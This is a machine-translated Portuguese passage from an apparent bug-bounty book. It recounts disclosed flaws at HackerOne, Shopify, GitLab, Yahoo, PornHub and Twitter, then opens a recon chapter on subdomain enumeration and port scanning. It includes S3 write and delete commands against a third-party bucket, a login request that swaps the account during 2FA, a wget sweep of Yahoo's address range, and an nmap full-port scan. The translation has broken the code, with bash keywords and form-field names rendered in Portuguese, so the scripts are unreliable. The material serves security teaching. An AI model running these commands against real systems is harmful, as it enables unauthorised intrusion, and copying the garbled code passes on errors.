um site e brincar com elas para ver o que acontece. Nesse caso, bastou remover os parâmetros
do POST para ignorar as verificações de segurança. Em segundo lugar, novamente, nem todos
os ataques são baseados em páginas da Web em HTML. Os endpoints da API sempre
apresentam uma área potencial de vulnerabilidade, portanto, considere e teste ambos.
2. Manipulação de Sinal HackerOne
Dificuldade: Baixa
URL: hackerone.com/reports/XXXXX Link
do relatório: https://hackerone.com/reports/1063053 Data do
relatório: 21 de dezembro de 2015 Recompensa paga: US$
500 Descrição:
No final de 2015, o HackerOne introduziu uma nova funcionalidade no site chamada Signal.
Essencialmente, ajuda a identificar a eficácia dos relatórios de vulnerabilidade anteriores de um hacker
depois que esses relatórios são fechados. É importante observar aqui que os usuários podem fechar seus
próprios relatórios no HackerOne, o que supostamente não resultará em nenhuma alteração em sua
reputação e sinal
Portanto, como você provavelmente pode imaginar, ao testar a funcionalidade, um hacker descobriu que a
funcionalidade foi implementada incorretamente e permitiu que um hacker criasse um relatório para
qualquer equipe, fechasse o relatório automaticamente e recebesse um aumento de sinal.
E isso é tudo que havia para isso
Aprendizado
Apesar de ser uma breve descrição, a conclusão aqui não pode ser exagerada, fique atento a
novas funcionalidades!. Quando um site implementa uma nova funcionalidade, é carne fresca.
A nova funcionalidade representa a oportunidade de testar novos códigos e procurar por bugs.
Isso foi o mesmo para as vulnerabilidades Shopify Twitter CSRF e Facebook XSS.
Para aproveitar ao máximo isso, é uma boa ideia se familiarizar com as empresas e se inscrever
em blogs, boletins informativos etc. para ser notificado quando algo for lançado. Em seguida,
teste.
3. Baldes do Shopify S3 abertos
Dificuldade: Média
URL: cdn.shopify.com/assets
Descrição:
O Amazon Simple Storage, S3, é um serviço que permite aos clientes armazenar e servir arquivos dos
servidores em nuvem da Amazon. O Shopify e muitos sites usam o S3 para armazenar e veicular
conteúdo estático como imagens.
Todo o conjunto de Amazon Web Services, AWS, é muito robusto e inclui um sistema de gerenciamento
de permissão que permite aos administradores definir permissões, por serviço, S3 incluído. As permissões
incluem a capacidade de criar buckets S3 (um bucket é como uma pasta de armazenamento), ler de
buckets e gravar em buckets, entre muitos outros.
De acordo com a divulgação, Shopify não configurou corretamente suas permissões de buckets S3 e
inadvertidamente permitiu que qualquer usuário autenticado da AWS lesse ou gravasse em seus buckets.
Isso é obviamente problemático porque você não gostaria que black hats mal-intencionados usassem
seus baldes S3 para armazenar e servir arquivos, no mínimo.
Infelizmente, os detalhes deste ticket não foram divulgados, mas é provável que isso tenha sido
descoberto com o AWS CLI, um kit de ferramentas que permite interagir com os serviços da AWS a partir
de sua linha de comando. Embora você precise de uma conta da AWS para fazer isso, criar uma é
realmente gratuito, pois você não precisa habilitar nenhum serviço. Como resultado, com a CLI, você
pode se autenticar com a AWS e testar o acesso (foi exatamente assim que encontrei o bucket HackerOne
listado abaixo).
Aprendizado
Ao avaliar um alvo em potencial, certifique-se de anotar todas as ferramentas diferentes, incluindo

serviços da Web, que eles parecem estar usando. Cada serviço, software, sistema operacional
etc. que você encontrar revela um novo vetor de ataque em potencial. Além disso, é uma boa
ideia se familiarizar com as ferramentas populares da Web, como AWS S3, Zendesk, Rails, etc.,
que muitos sites usam.
4. Depósitos HackerOne S3 Abertos
Dificuldade: Média
URL: [REMOVIDO].s3.amazonaws.com
Descrição:
Nós vamos fazer algo um pouco diferente aqui. Esta é uma vulnerabilidade que eu realmente descobri e é um pouco
diferente do bug do Shopify descrito acima, então vou compartilhar tudo em detalhes sobre como descobri isso,
usando um script legal e alguma engenhosidade.
Durante o fim de semana de 3 de abril, não sei por que, mas decidi tentar pensar fora da caixa e atacar o HackerOne.
Eu estava brincando com o site deles desde o início e ficava me chutando na bunda toda vez que uma nova
vulnerabilidade com divulgação de informações era encontrada, me perguntando como eu perdi isso. Eu me
perguntei se o balde S3 deles era vulnerável como o da Shopify. Também fiquei me perguntando como o hacker
acessou o Shopify balde, imaginei que deveria estar usando as ferramentas de linha de comando da Amazon.
Agora, normalmente eu teria me impedido de pensar que não havia como o HackerOne estar vulnerável depois de
todo esse tempo. Mas uma das muitas coisas que se destacaram em minha entrevista com Ben Sadeghipour
(@Nahamsec) foi não duvidar de mim mesmo ou da capacidade de uma empresa cometer erros.
Pesquisei no Google alguns detalhes e me deparei com duas páginas interessantes:
Há um buraco em 1.951 baldes do Amazon S36
Localizador de balde S37
O primeiro é um artigo interessante da Rapid7, uma empresa de segurança, que fala sobre como eles descobriram
baldes S3 que eram graváveis publicamente e fizeram isso com fuzzing, ou seja, adivinhando o nome do balde.
A segunda é uma ferramenta legal que pega uma lista de palavras e chama o S3 procurando por baldes.
No entanto, ele não vem com sua própria lista. Mas havia uma linha-chave no artigo do Rapid7: “Adivinhar nomes
por meio de alguns dicionários diferentes Lista de nomes de empresas da Fortune 1000 com permutações em .com,
-backup, -media
Isso foi interessante. Criei rapidamente uma lista de possíveis nomes de baldes para o HackerOne, como
6https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
7https://digi.ninja/projects/bucket_finder.php
hackerone, hackerone.marketing, hackerone.attachments, hackerone.users, hackerone.files, etc.
Nenhum deles é o balde real - eles o redigiram do relatório, então estou honrando isso, embora tenha
certeza de que você também poderá encontrá-lo. Vou deixar isso para um desafio.
Agora, usando o script Ruby, comecei a chamar os baldes. Imediatamente as coisas não pareciam boas.
Encontrei alguns baldes, mas o acesso foi negado. Sem sorte, então me afastei e assisti NetFlix.
Mas essa ideia estava me incomodando. Portanto, antes de ir para a cama, decidi executar o script
novamente com mais permutações. Novamente, encontrei vários baldes que pareciam ser do HackerOne,
mas todos tinham acesso negado. Percebi que o acesso negado pelo menos me disse que o balde
existia.
Abri o script Ruby e percebi que estava chamando o equivalente à função ls nos baldes. Em outras
palavras, estava tentando ver se eles eram legíveis - eu queria saber isso E se eles eram publicamente
GRAVÍVEIS.
Agora, como um aparte, a AWS fornece uma ferramenta de linha de comando, aws-cli. Eu sei disso
porque já o usei antes, então um rápido sudo apt-get install aws-cli na minha VM e eu tinha as
ferramentas. Eu os configurei com minha própria conta da AWS e estava pronto para começar. Você
pode encontrar instruções para isso em docs.aws.amazon.com/cli/latest/userguide/installing.html
Agora, o comando aws s3 help abrirá a ajuda do S3 e detalhará os comandos disponíveis, algo como 6
no momento em que escrevo isso. Um deles é mv na forma de aws s3 mv [FILE] [s3://BUCKET]. Então,
no meu caso, tentei:
teste de toque.txt
aws s3 mv test.txt s3://hackerone.marketing
Este foi o primeiro bucket no qual recebi acesso negado por E “falha ao mover: ./test.txt para s3://
hackerone.marketing/test.txt Ocorreu um erro de cliente (AccessDenied) ao chamar a operação PutObject:
Access Denied.”
Então eu tentei o próximo aws s3 mv test.txt s3://hackerone.files E SUCESSO! Recebi a mensagem

“mover: ./test.txt para s3://hackerone.files/test.txt”
Incrível! Agora tentei deletar o arquivo: aws s3 rm s3://hackerone.files/test.txt E novamente, SUCESSO!
Mas agora a dúvida. Rapidamente entrei no HackerOne para relatar e, enquanto digitava, percebi que
não poderia realmente confirmar a propriedade do bucket O AWS S3 permite que qualquer pessoa crie
qualquer bucket em um namespace global. Ou seja, você, o leitor, poderia realmente possuir o balde que
eu estava hackeando.
Eu não tinha certeza se deveria relatar sem confirmar. Pesquisei no Google para ver se encontrava alguma
referência ao balde e não encontrei nada. Afastei-me do computador para clarear a cabeça. Achei que, pior
ainda, conseguiria outro relatório N/A e -5 repetições. Por outro lado, achei que valia pelo menos US$ 500,
talvez US$ 1.000 com base na vulnerabilidade do Shopify.
Apertei enviar e fui para a cama. Quando acordei, o HackerOne respondeu parabenizando a descoberta,
que eles já haviam consertado e, ao fazer isso, perceberam alguns outros baldes que estavam vulneráveis.
Sucesso! E para seu crédito, quando concederam a recompensa, eles levaram em consideração a
gravidade potencial disso, incluindo os outros baldes que não encontrei, mas que eram vulneráveis.
Aprendizado
Existem várias conclusões a partir disso:
1. Não subestime sua engenhosidade e o potencial de erros dos desenvolvedores.

HackerOne é uma equipe incrível de pesquisadores de segurança incríveis.
Mas as pessoas cometem erros. Desafie suas suposições.
2. Não desista na primeira tentativa. Quando descobri isso, navegar em cada balde não
estava disponível e quase fui embora. Mas então tentei escrever um arquivo e
funcionou.
3. É tudo sobre o conhecimento. Se você souber quais tipos de vulnerabilidades existem,
saberá o que procurar e testar. Comprar este livro foi um grande primeiro passo.
4. Já disse antes, vou repetir, uma superfície de ataque é mais do que o site, são também
os serviços que a empresa está usando. Pense fora da caixa.
5. Ignorando a autenticação de dois fatores do GitLab
Dificuldade: Média
URL: n/a
Recompensa Paga: n/a
Descrição:
Em 3 de abril, Jobert Abma (co-fundador do HackerOne) relatou ao GitLab que, com a autenticação de
dois fatores ativada, um invasor conseguiu fazer login na conta da vítima sem realmente saber a senha da
vítima.
Para quem não conhece, a autenticação de dois fatores é um processo de duas etapas para fazer
login - normalmente um usuário insere seu nome de usuário e senha e, em seguida, o site envia um
código de autorização, geralmente por e-mail ou SMS, que o usuário deve inserir para concluir o login
processo.
Nesse caso, Jobert notou que durante o processo de login, uma vez que um invasor inseriu seu nome
de usuário e senha, um token foi enviado para finalizar o login. Ao enviar o token, a chamada POST
parecia:
POST /users/sign_in HTTP/

1.1 Host: 159.xxx.xxx.xxx
...
----------1881604860
Content-Disposition: form-data; nome="usuário[otp_attempt]"
212421
----------1881604860--
Se um invasor interceptou isso e adicionou um nome de usuário à chamada, por exemplo:
POST /users/sign_in HTTP/

1.1 Host: 159.xxx.xxx.xxx
...
----------1881604860
Content-Disposition: form-data; nome="usuário[otp_attempt]"
212421
----------1881604860
Content-Disposition: form-data; nome="usuario[login]"
João
----------1881604860--
O invasor seria capaz de fazer login na conta de John se o token otp_attempt fosse válido para John.
Em outras palavras, durante a autenticação em duas etapas, se um invasor adicionar um parâmetro
user[login] , ele poderá alterar a conta na qual está conectado.
Agora, a única ressalva aqui era que o invasor precisava ter um token OTP válido para a vítima. Mas
é aqui que o bruteforcing viria se. Se os administradores do site não implementassem a limitação de
taxa, Jobert poderia fazer chamadas repetidas ao servidor para adivinhar um token válido. A
probabilidade de um ataque bem-sucedido dependeria da
tempo de trânsito enviando a solicitação ao servidor e o período de tempo em que um token é válido, mas
independentemente disso, a vulnerabilidade aqui é bastante aparente.
Aprendizado
A autenticação de dois fatores é um sistema complicado de acertar. Quando você perceber que
um site o está usando, teste completamente todas as funcionalidades, incluindo tempo de vida do
token, número máximo de tentativas, reutilização de tokens expirados, probabilidade de adivinhar
um token etc.
6. Divulgação de informações PHP do Yahoo
Dificuldade: Média
URL: http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php
Link do relatório: https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure 2/9
Data de divulgação: 16 de outubro de 2014
Recompensa Paga: n/a
Descrição:
Embora isso não tenha um pagamento enorme como algumas das outras vulnerabilidades que incluí (na
verdade, pagou $ 0, o que é surpreendente!), Este é um dos meus relatórios favoritos porque ajudou a me
ensinar a importância da varredura e automação de rede .
Em outubro de 2014, Patrik Fehrenbach (de quem você deve se lembrar da entrevista nº 2 do Hacking Pro
Tips - cara legal!) Encontrou um servidor do Yahoo com um arquivo phpinfo() acessível. Se você não estiver
familiarizado com phpinfo(), é um comando sensível que nunca deve estar acessível na produção, muito
menos estar disponível publicamente, pois divulga todos os tipos de informações do servidor.
Agora, você pode estar se perguntando como Patrik encontrou http://nc10.n9323.mail.ne1.yahoo.com - com
certeza. Acontece que ele pingou yahoo.com que retornou 98.138.253.109. Então ele passou isso para o
WHOIS e descobriu que o Yahoo realmente possuía o seguinte:
9https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
NetRange: 98.136.0.0 - 98.139.255.255

CIDR: 98.136.0.0/14
original de:
NetName: A-YAHOO-US9
NetHandle: NET-98-136-0-0-1
Pai: NET-98-0-0-0-0
NetType: Direct Allocation
RegDate: 2007-12-07
Atualizado: 2012-03-02 Ref:
http://whois.arin.net/rest/net/NET-98-136-0-0-1
Observe a primeira linha - o Yahoo possui um enorme bloco de endereços IP, de 98.136.0.0 - 98.139.255.255 ou
98.136.0.0/14, que são 260.000 endereços IP exclusivos. São muitos alvos em potencial.
Patrik então escreveu um script bash simples para procurar um arquivo phpinfo disponível:
#!/bin/bash
para ipa em 98.13{6..9}.{0..255}.{0..255}; faça
wget -t 1 -T 5 http://${ipa}/phpinfo.php; feito &
Executando isso, ele encontrou aquele servidor aleatório do Yahoo.
Aprendizado
Ao hackear, considere toda a infraestrutura de uma empresa como um jogo justo, a menos que eles
digam que está fora do escopo. Embora este relatório não tenha pago uma recompensa, sei que Patrik
empregou técnicas semelhantes para encontrar alguns pagamentos significativos de quatro dígitos.
Além disso, você notará que havia 260.000 endereços em potencial aqui, o que seria impossível
verificar manualmente. Ao realizar esse tipo de teste, a automação é extremamente importante e algo
que deve ser empregado.
7. Votação HackerOne Hacktivity
Dificuldade: Média
URL: https://hackerone.com/hacktivity Link do
relatório: https://hackereone.com/reports/13750310
Descrição:
Embora tecnicamente não seja realmente uma vulnerabilidade de segurança neste caso, este relatório é um ótimo
exemplo de como pensar fora da caixa.
Em algum momento no final de abril/início de maio de 2016, o HackerOne desenvolveu uma funcionalidade para
hackers votarem em relatórios por meio de sua lista de Hacktivity. Havia uma maneira fácil e uma maneira difícil de
saber se a funcionalidade estava disponível. Da maneira mais fácil, uma chamada GET para /current_user quando
conectado incluiria hacktivity_voting_enabled: false. A maneira mais difícil é um pouco mais interessante, onde
está a vulnerabilidade e por que estou incluindo este relatório.
Se você visitar o hacktivity e visualizar o código-fonte da página, notará que é bastante esparso, apenas alguns divs
e nenhum conteúdo real.
Fonte da página HackerOne Hacktivity
Agora, se você não estava familiarizado com a plataforma deles e não tinha um plugin como o wappalyzer
instalado, basta olhar para a fonte desta página para saber que o conteúdo está sendo renderizado por
Javascript.
Então, com isso em mente, se você abrir o devtools no Chrome ou Firefox, você pode verificar o código
fonte Javascript (no Chrome, você vai para fontes e à esquerda, top->hackerone.com->assets-
>frontend -XXX.js). As ferramentas de desenvolvimento do Chrome vêm com um belo botão de
impressão {} que tornará o Javascript minificado legível. Você também pode usar Burp e revisar a
resposta que retorna este arquivo Javascript.
Aqui está o motivo da inclusão, se você pesquisar o Javascript para POST , poderá encontrar vários
caminhos usados pelo HackerOne, que podem não ser facilmente aparentes, dependendo de suas
permissões e do que é exposto a você como conteúdo. Um deles é:
Votação POST de Javascript do Aplicativo Hackerone
Como você pode ver, temos dois caminhos para a funcionalidade de votação. No momento deste
relatório, você poderia realmente fazer essas chamadas e votar nos relatórios.
Agora, esta é uma maneira de encontrar a funcionalidade - no relatório, o hacker usou outro método, interceptando
as respostas do HackerOne (presumivelmente usando uma ferramenta como o Burp), eles trocaram os atributos
retornados como falsos por verdadeiros. Isso expôs os elementos de votação que, quando clicados, disponibilizaram
as chamadas POST e DELETE.
A razão pela qual orientei você pelo Javascript é porque a interação com a resposta JSON nem sempre expõe novos
elementos HTML. Como resultado, navegar em Javascript pode expor endpoints "ocultos" para interação.
Aprendizado
O código-fonte Javascript fornece o código-fonte real de um destino que você pode

explorar. Isso é ótimo porque seu teste vai da caixa preta, sem ter ideia do que o back-
end está fazendo, para a caixa branca (embora não totalmente), onde você tem uma
visão de como o código está sendo executado. Isso não significa que você tenha que
percorrer cada linha, a chamada POST neste caso foi encontrada na linha 20570 com
uma simples pesquisa por POST.
8. Acessando a instalação do Memcache do PornHub
Dificuldade: Média
URL: stage.pornhub.com
Data do relatório: 1º de março de 2016
Descrição:
Antes de seu lançamento público, o PornHub executou um programa privado de recompensas de bugs no HackerOne
com um amplo escopo de recompensas de *.pornhub.com que, para a maioria dos hackers, significa que todos os
subdomínios do PornHub são um jogo justo. O truque agora é encontrá-los.
Em sua postagem no blog, Andy Gill @ZephrFish12 explica por que isso é incrível, ao testar a existência de vários
nomes de subdomínio usando uma lista de mais de 1 milhão de nomes em potencial, ele descobriu aproximadamente
90 possíveis alvos de hackers.
Agora, visitar todos esses sites para ver o que está disponível levaria muito tempo, então ele automatizou o processo
usando a ferramenta Eyewitness (incluída no capítulo Ferramentas) que faz capturas de tela das URLs com páginas
HTTP / HTTPS válidas e fornece uma boa
12http://www.twitter.com/ZephrFish
relatório dos sites que escutam nas portas 80, 443, 8080 e 8443 (portas HTTP e HTTPS comuns).
De acordo com sua redação, Andy mudou ligeiramente de assunto aqui e usou a ferramenta Nmap para se
aprofundar no subdomínio stage.pornhub.com. Quando perguntei por que, ele explicou, em sua experiência,
os servidores de teste e desenvolvimento são mais propensos a ter permissões de segurança mal configuradas
do que os servidores de produção. Então, para começar, ele pegou o IP do subdomínio usando o comando
nslookup:
nslookup stage.pornhub.com
Servidor: 8.8.8.8
Endereço: 8.8.8.8#53
Resposta não autorizada:
Nome: stage.pornhub.com
Endereço: 31.192.117.70
Eu também vi isso feito com o comando ping, mas de qualquer forma, ele agora tinha o endereço IP do
subdomínio e usando o comando sudo nmap -sSV -p- 31.192.117.70 -oA stage__ph -T4 e ele obteve:
Iniciando o Nmap 6.47 ( http://nmap.org ) em 2016-06-07 14:09 CEST Relatório

de verificação do Nmap para 31.192.117.70 O host está ativo (latência de 0,017s).
Não mostrado: 65532 portas fechadas

PORT STATE SERVICE VERSION
80/tcp open http nginx 443/

tcp open http nginx 60893/tcp
open memcache Detecção de
serviço realizada. Informe quaisquer resultados incorretos em http://nmap.org/submit/ . Nmap concluído: 1 endereço
IP (1 host ativado) verificado em 22,73 segundos
Decompondo o comando:
• o sinalizador -sSV define o tipo de pacote a ser enviado ao servidor e diz ao Nmap para tentar determinar
qualquer serviço nas portas abertas • o -p- diz ao Nmap para verificar todas as 65.535 portas (por padrão
ele verificará apenas as 1.000 mais populares )
• 31.192.117.70 é o endereço IP a ser verificado

• -oA stage__ph diz ao Nmap para produzir as descobertas em seus três formatos principais de uma só vez
usando o nome de arquivo stage__ph • -T4 define o tempo para a tarefa (as opções são 0-5 e mais alto é
mais rápido)
Com relação ao resultado, o principal a notar é que a porta 60893 está aberta e executando o que o Nmap acredita
ser o memcache. Para quem não conhece, memcache é um serviço de cache que usa pares chave-valor para
armazenar dados arbitrários. É normalmente usado para ajudar a acelerar um site por conteúdo de serviço mais
rápido. Um serviço semelhante é o Redis.
Descobrir isso não é uma vulnerabilidade em si, mas é um sinal de alerta definitivo (embora os guias de instalação
que li recomendem torná-lo inacessível publicamente como uma precaução de segurança). Testando,
surpreendentemente, o PornHub não habilitou nenhuma segurança, o que significa que Andy poderia se conectar
ao serviço sem um nome de usuário ou senha via netcat, um programa utilitário usado para ler e escrever por meio
de uma conexão de rede TCP ou UDP. Após a conexão, ele apenas executou comandos para obter a versão,
estatísticas etc. para confirmar a conexão e a vulnerabilidade.
No entanto, um invasor mal-intencionado pode ter usado esse acesso para:
• Causar uma negação de serviço (DOS) gravando e apagando constantemente o cache, mantendo assim o
servidor ocupado (isso depende da configuração do site) • Causar um DOS preenchendo o serviço com
dados armazenados em cache indesejados, novamente, dependendo da configuração do serviço • Execute
cross-site scripting injetando uma carga JS maliciosa como dados válidos em cache
para ser servido aos usuários

• E, possivelmente, executar uma injeção de SQL se os dados do memcache estiverem sendo armazenados no
base de dados
Aprendizado
Subdomínios e configurações de rede mais amplas representam grande potencial

para hacking. Se você perceber que um programa está incluindo *.SITE.com em seu
escopo, tente encontrar subdomínios que possam ser vulneráveis, em vez de ir atrás
do fruto mais fácil no site principal que todos podem estar procurando. Também vale
a pena se familiarizar com ferramentas como Nmap, eyewitness, knockpy, etc., que
o ajudarão a seguir o exemplo de Andy.
9. Ignorando as proteções de conta do Twitter
Dificuldade: Fácil
URL: twitter.com
Link do relatório: N/A
Data do relatório: recompensa concedida em outubro de 2016
Descrição:
Ao conversar com Karan Saini, ele compartilhou a seguinte vulnerabilidade do Twitter comigo para que eu pudesse
incluí-la e compartilhá-la aqui. Embora o relatório não tenha sido divulgado (no momento da redação), o Twitter deu a
ele permissão para compartilhar os detalhes e há duas conclusões interessantes de sua descoberta.
Ao testar os recursos de segurança da conta do Twitter, Karan notou que, quando você tenta fazer login no Twitter a
partir de um endereço IP/navegador não reconhecido pela primeira vez, o Twitter pode solicitar algumas informações
de validação da conta, como um e-mail ou número de telefone associado com a conta. Portanto, se um invasor
conseguir comprometer seu nome de usuário e senha, ele poderá ser impedido de fazer login e assumir o controle de
sua conta com base nessas informações adicionais necessárias.
No entanto, implacável, depois que Karan criou uma nova conta, usou uma VPN e testou a funcionalidade no
navegador de seu laptop, ele pensou em usar seu telefone, conectar-se à mesma VPN e fazer login na conta. Acontece
que, desta vez, ele não foi solicitado a inserir informações adicionais - ele tinha acesso direto à conta da “vítima”. Além
disso, ele pode navegar até as configurações da conta e visualizar o endereço de e-mail e o número de telefone do
usuário, permitindo assim o acesso à área de trabalho (se for importante).
Em resposta, o Twitter validou e corrigiu o problema, concedendo a Karan $ 560.
Aprendizado
Incluí este exemplo porque ele demonstra duas coisas - primeiro, embora reduza o impacto da
vulnerabilidade, há momentos em que relatar um bug que assume que um invasor conhece o
nome de usuário e a senha da vítima é aceitável, desde que você possa explicar qual é a
vulnerabilidade e demonstrar sua gravidade.
Em segundo lugar, ao testar as vulnerabilidades relacionadas à lógica do aplicativo, considere

as diferentes maneiras pelas quais um aplicativo pode ser acessado e se os comportamentos
relacionados à segurança são consistentes entre as plataformas. Nesse caso, foram
navegadores e aplicativos móveis, mas também podem incluir aplicativos de terceiros ou endpoints de API.
Resumo
As vulnerabilidades baseadas na lógica do aplicativo nem sempre envolvem código. Em vez disso, explorá-los
geralmente requer um olhar atento e pensar mais fora da caixa. Sempre
fique atento a outras ferramentas e serviços que um site pode estar usando, pois representam um novo vetor
de ataque. Isso pode incluir uma biblioteca Javascript que o site está usando para renderizar o conteúdo.
Na maioria das vezes, encontrá-los exigirá um interceptador de proxy que permitirá que você jogue com
valores antes de enviá-los para o site que você está explorando. Tente alterar quaisquer valores que apareçam
relacionados à identificação de sua conta. Isso pode incluir a configuração de duas contas diferentes para que
você tenha dois conjuntos de credenciais válidas que você sabe que funcionarão. Procure também endpoints
ocultos/incomuns que possam expor a funcionalidade acessível involuntariamente.
Além disso, certifique-se de considerar a consistência entre as várias maneiras pelas quais o serviço pode
ser acessado, como por meio de desktop, aplicativos de terceiros, aplicativos móveis ou APIs. As proteções
oferecidas por meio de um método podem não ser aplicadas de forma consistente em todos os outros, criando
assim um problema de segurança.
Por fim, fique atento a novas funcionalidades - muitas vezes representam novas áreas para teste!
E se/quando possível, automatize seus testes para aproveitar melhor seu tempo.
21. Primeiros passos

Infelizmente, não existe uma fórmula mágica para hackear e existem muitas tecnologias em constante
evolução para eu explicar cada método de encontrar um bug. Embora este capítulo não faça de você uma
máquina de hackers de elite, você pode aprender os padrões seguidos pelos caçadores de bugs bem-
sucedidos, que geralmente levam a mais recompensas. Este capítulo irá guiá-lo através de uma abordagem
básica para começar a hackear qualquer aplicativo. É baseado em minha experiência pessoal entrevistando
hackers de sucesso, lendo blogs, assistindo a vídeos e hackeando.
Primeiro, você precisa redefinir o que considera sucesso. Você pode considerar que seu objetivo é encontrar
bugs em programas de alto perfil, encontrar o máximo de bugs possível ou simplesmente ganhar dinheiro.
Se você segmentar programas maduros como Uber, Shopify, Twitter, Google e assim por diante, o sucesso
financeiro pode ocorrer em um ritmo mais lento. Hackers muito inteligentes e talentosos testam esses
programas diariamente e é fácil desanimar quando você não encontra bugs.
Por isso, acredito que seja importante definir o sucesso como conhecimento e experiência adquiridos, em
vez de bugs encontrados ou dinheiro ganho. Concentrar-se em aprender algo novo, reconhecer padrões e
testar novas tecnologias deve ser o objetivo - pelo menos quando você começar.
Reenquadrar o sucesso dessa maneira permite que você se mantenha positivo sobre o hacking durante os
períodos de seca. Vulnerabilidades virão com o tempo. Enquanto as pessoas estiverem escrevendo código,
elas cometerão erros. Depois de considerar como é o sucesso, é hora de empregar uma metodologia.
Reconhecimento
Comece abordando qualquer programa de recompensas de bugs com algum reconhecimento, ou

reconhecimento, aprendendo mais sobre o aplicativo. Como você sabe dos capítulos anteriores, há muito a
considerar ao testar um aplicativo. Comece fazendo perguntas básicas, como:
• Qual é o escopo do programa? É *.example.com ou apenas www.example.com? • Quantos

subdomínios a empresa possui? • Quantos endereços IP a empresa possui? • Que tipo de site é?
Software como um serviço? Código aberto? Colaborativo? pago ou
gratuitamente?
• Quais tecnologias ela está usando? Em qual linguagem de programação ele está codificado? Qual
banco de dados? Quais frameworks ele está usando?
Começando 189
Estas são apenas algumas das coisas a considerar ao começar. Para este capítulo, vamos supor que
você esteja testando um aplicativo com um escopo aberto como *.example.com. Comece com as
ferramentas que você pode executar em segundo plano para poder fazer outro reconhecimento enquanto
espera pelos resultados das ferramentas. Você pode executar essas ferramentas em seu próprio
computador, mas corre o risco de empresas como a Akamai banirem seu endereço IP. Como o Akamai
é um firewall de aplicativo da web popular, ser banido por eles significa que você pode não conseguir
visitar sites comuns. Para evitar uma proibição, recomendo ativar um servidor virtual privado (VPS) de
um provedor de hospedagem em nuvem que permita testes de segurança de seus sistemas. Você deve
pesquisar seu provedor de nuvem, pois alguns não permitem esse tipo de teste (por exemplo, no
momento em que escrevo isso, o Amazon Web Services não permite testes de segurança sem permissão
explícita).
Enumeração de Subdomínio
Como você está testando em um escopo aberto, pode começar seu reconhecimento encontrando
subdomínios usando seu VPS. Quanto mais subdomínios você encontrar, mais superfície de ataque você terá.
Para isso, recomendo o uso da ferramenta Subfinder, que é rápida e escrita na linguagem de
programação Go. O Subfinder obterá registros de subdomínio para um site com base em várias fontes,
incluindo registros de certificados, resultados de mecanismos de pesquisa, WaybackArchive e outros.
A enumeração padrão do Subfinder pode não encontrar todos os subdomínios. Os subdomínios

associados a um certificado SSL específico são fáceis de encontrar devido aos logs transparentes do
certificado que registram os certificados SSL registrados. Por exemplo, se um site registrar um certificado
para test.example.com, é provável que esse subdomínio exista, pelo menos na época do registro. No
entanto, é possível que um site registre um certificado para um subdomínio curinga (*.example.com). Se
for esse o caso, talvez você só consiga encontrar alguns subdomínios por meio de adivinhação de força
bruta.
Convenientemente, o Subfinder também pode ajudá-lo a subdomínios de força bruta usando uma lista
de palavras comum. A lista de segurança do repositório GitHub SecLists, referenciada no Apêndice X,
possui listas de subdomínios comuns. Jason Haddix também publicou uma lista útil disponível em https://
gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056.
Se você não deseja usar o Subfinder e deseja apenas navegar pelos certificados SSL, o crt.sh é uma
ótima referência para verificar se os certificados curinga foram registrados. Se você encontrar um
certificado curinga, poderá pesquisar censys.io pelo hash do certificado. Geralmente, há até um link
direto para censys.io em crt.sh para cada certificado.
Depois de terminar de enumerar subdomínios para *.example.com, você pode escanear a porta e
capturar imagens dos sites que encontrar. Antes de prosseguir, você também deve considerar se faz
sentido enumerar subdomínios de subdomínios. Por exemplo, se você descobrir que um site registra um
certificado SSL para *.corp.example.com, é provável que encontre mais subdomínios enumerando esse
subdomínio.
Começando 190
Varredura de portas
Depois de enumerar os subdomínios, você pode iniciar o escaneamento de portas para identificar mais
superfícies de ataque, incluindo serviços em execução. Por exemplo, ao escanear o Pornhub, Andy Gill
encontrou um servidor Memcache exposto, ganhando US$ 2.500, conforme discutido no Capítulo 19.
Os resultados do portscan também podem ser indicativos da segurança geral de uma empresa. Por
exemplo, uma empresa que fechou todas as portas, exceto 80 e 443 (portas da web comuns para
hospedagem de sites HTTP e HTTPS) provavelmente está preocupada com a segurança, enquanto uma
empresa com muitas portas abertas provavelmente o oposto e pode ter melhores potencial para recompensas.
Duas ferramentas comuns de varredura de portas são Nmap e Masscan. O Nmap é uma ferramenta mais
antiga e pode ser lenta, a menos que você saiba como otimizá-la. No entanto, é ótimo porque você pode
fornecer uma lista de URLs e determinar o endereço IP a ser verificado. Também é modular para que
você possa incluir outras verificações em sua digitalização. Por exemplo, usar o script intitulado http enum
executará força bruta de arquivos e diretórios. Em contraste, o Masscan é extremamente rápido e pode
ser melhor quando você tem uma lista de endereços IP para escanear. Eu uso o Masscan para pesquisar
portas comumente abertas, como 80, 443, 8080 ou 8443 e, em seguida, combino os resultados com
capturas de tela (um tópico discutido na próxima seção).
Uma coisa a observar ao escanear portas de uma lista de subdomínios são os endereços IP para os quais
esses domínios são resolvidos. Se você descobrir que todos os subdomínios, exceto um, resolvem para
um intervalo de endereços IP comum (por exemplo, endereços IP pertencentes à AWS ou Google Cloud
Compute), pode valer a pena investigar o outlier. A diferença no endereço IP pode ser indicativa de um
aplicativo personalizado ou de terceiros que não compartilha o mesmo nível de segurança dos aplicativos
principais da empresa, que residem no intervalo de endereço IP comum. Conforme descrito no Capítulo
15, Frans Rosen e Uranium238 exploraram isso ao assumir os serviços da Legal Robot e da Uber.
Captura de tela
Assim como o escaneamento de portas, uma boa etapa a ser seguida depois de ter uma lista de
subdomínios é fazer uma captura de tela deles. Isso é útil porque fornece uma visão geral do escopo do programa.
Ao olhar as capturas de tela, há uma variedade de coisas para procurar. Primeiro, procure mensagens de
erro comuns de serviços conhecidos por estarem associados a invasões de subdomínio. Conforme
descrito no Capítulo 14, um aplicativo que depende de serviços externos pode mudar com o tempo e os
registros DNS para ele podem ter sido esquecidos. Se um invasor puder assumir o controle do serviço,
isso poderá ter um impacto significativo para o aplicativo e seus usuários. Como alternativa, você pode
descobrir que a captura de tela não revela uma mensagem de erro, mas ainda pode perceber que o
subdomínio depende de um serviço de terceiros.
Em segundo lugar, você pode procurar por conteúdo sensível. Por exemplo, se todos os subdomínios
encontrados em *.corp.example.com retornarem um acesso 403 negado, exceto um subdomínio, que
possui um login para um site incomum, você deve investigar esse site incomum, pois pode ser
Começando 191
implementando um comportamento personalizado. Da mesma forma, você também deve ficar atento às páginas de
login administrativo, páginas de instalação padrão e assim por diante.
